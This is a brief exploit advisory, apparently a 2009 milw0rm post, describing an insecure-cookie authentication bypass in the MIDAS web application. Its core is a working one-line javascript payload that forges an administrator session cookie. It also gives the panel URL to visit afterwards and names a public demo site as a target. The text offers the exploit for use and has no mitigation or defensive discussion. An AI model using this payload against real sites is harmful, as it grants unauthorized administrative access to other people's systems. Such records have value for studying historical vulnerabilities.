35 lines
No EOL
831 B
Text
35 lines
No EOL
831 B
Text
--------------------------------------------
|
|
|
|
MIDAS Insecure Cookie Handling Vulnerability
|
|
|
|
--------------------------------------------
|
|
|
|
Author.: HxH
|
|
|
|
Contact: HxH[at]live[dot]at
|
|
|
|
---------------------------
|
|
|
|
Script.: MIDAS
|
|
|
|
Home...: http://mid.as
|
|
|
|
-------------------------------------------------------------------------------------------------
|
|
|
|
Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";
|
|
|
|
Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0
|
|
|
|
-------------------------------------------------------------------------------------------------
|
|
|
|
Demo...: http://demo.mid.as
|
|
|
|
Panel..: http://demo.mid.as/level1.pl?x=0
|
|
|
|
-----------------------------------------
|
|
|
|
Greetz.: ~ Jiko ~ Sniper Code
|
|
|
|
-----------------------------
|
|
|
|
# milw0rm.com [2009-06-22] |